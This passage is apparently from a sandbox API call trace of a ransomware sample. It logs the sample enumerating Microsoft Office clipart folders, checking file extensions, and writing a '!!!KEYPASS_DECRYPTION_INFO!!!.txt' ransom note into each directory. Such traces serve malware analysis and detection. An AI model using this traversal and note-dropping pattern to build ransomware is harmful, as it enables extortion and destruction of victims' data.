Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned=".MID" [0243.711] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.711] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned=".WMF" [0243.711] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.711] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned=".WMF" [0243.711] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.711] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned=".WMF" [0243.711] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.711] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned=".WMF" [0243.711] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.711] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned=".WMF" [0243.711] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.711] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned=".WMF" [0243.711] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.711] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned=".WMF" [0243.711] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.711] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned=".WMF" [0243.711] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.711] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned=".WMF" [0243.711] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.711] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned=".WMF" [0243.711] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.711] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned=".WMF" [0243.711] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.711] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned=".WMF" [0243.711] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.711] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned=".WMF" [0243.711] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.711] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned=".WMF" [0243.711] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.711] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned=".WMF" [0243.711] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.712] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned=".WMF" [0243.712] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.712] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned=".WMF" [0243.712] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.712] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned=".WMF" [0243.712] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.712] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned=".WMF" [0243.712] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.712] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned=".WMF" [0243.712] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.712] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned=".WMF" [0243.712] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.712] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned=".WMF" [0243.712] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.713] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned=".WMF" [0243.713] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.713] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned=".WMF" [0243.713] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.713] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned=".WMF" [0243.713] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.713] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned=".WMF" [0243.713] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.713] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned=".WMF" [0243.713] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.713] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned=".WMF" [0243.713] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.713] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned=".WMF" [0243.713] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.713] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned=".WMF" [0243.713] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.713] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned=".WMF" [0243.714] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.714] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned=".WMF" [0243.714] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.714] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned=".WMF" [0243.714] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.714] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned=".WMF" [0243.714] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.714] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned=".WMF" [0243.714] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.714] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned=".WMF" [0243.714] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.714] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned=".WMF" [0243.714] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.714] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned=".WMF" [0243.714] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.714] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned=".WMF" [0243.714] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.714] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned=".WMF" [0243.714] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.714] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned=".WMF" [0243.714] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.714] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned=".WMF" [0243.714] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.714] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned=".WMF" [0243.714] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.714] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned=".WMF" [0243.714] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.714] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned=".WMF" [0243.714] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.714] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned=".WMF" [0243.714] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.715] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned=".WMF" [0243.715] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.715] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned=".WMF" [0243.715] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.715] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned=".WMF" [0243.715] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.715] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned=".WMF" [0243.715] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.715] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned=".WMF" [0243.715] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.715] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned=".WMF" [0243.715] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.715] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned=".WMF" [0243.715] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.715] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned=".WMF" [0243.715] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.715] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned=".WMF" [0243.715] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.715] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned=".WMF" [0243.715] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned=".WMF" [0243.716] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned=".WMF" [0243.716] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned=".WMF" [0243.716] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned=".WMF" [0243.716] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned=".WMF" [0243.717] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.717] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned=".WMF" [0243.717] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.717] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned=".WMF" [0243.717] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.717] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned=".MID" [0243.717] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.717] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned=".WMF" [0243.717] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.717] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned=".WMF" [0243.717] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.717] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned=".WMF" [0243.717] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.717] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned=".WMF" [0243.717] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned=".WMF" [0243.766] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0243.799] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0243.799] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2efa718 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0243.799] GetLastError () returned 0x3f0 [0243.799] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0243.799] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0243.810] GetFileType (hFile=0x5bc) returned 0x1 [0243.810] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0243.810] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0243.810] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0243.810] WriteFile (in: hFile=0x5bc, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0243.811] WriteFile (in: hFile=0x5bc, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0243.811] CloseHandle (hObject=0x5bc) returned 1 [0243.811] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e79618 [0243.811] FindNextFileW (in: hFindFile=0x2e79618, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.811] FindNextFileW (in: hFindFile=0x2e79618, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.811] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0243.811] FindNextFileW (in: hFindFile=0x2e79618, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.811] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0243.812] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2e53150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0243.812] GetLastError () returned 0x3f0 [0243.812] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0243.812] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0243.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0243.895] GetFileType (hFile=0x5c0) returned 0x1 [0243.895] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0243.895] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0243.895] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0243.895] WriteFile (in: hFile=0x5c0, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0243.896] WriteFile (in: hFile=0x5c0, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0243.896] CloseHandle (hObject=0x5c0) returned 1 [0243.897] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x2e79c18 [0243.897] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.897] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.897] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0243.897] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.897] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF") returned=".GIF" [0243.897] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.897] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF") returned=".GIF" [0243.897] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.897] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF") returned=".GIF" [0243.897] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.897] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF") returned=".GIF" [0243.897] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.897] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF") returned=".GIF" [0243.897] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.897] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF") returned=".GIF" [0243.897] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.897] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF") returned=".GIF" [0243.897] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.897] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF") returned=".GIF" [0243.897] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.898] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF") returned=".GIF" [0243.898] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.898] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft 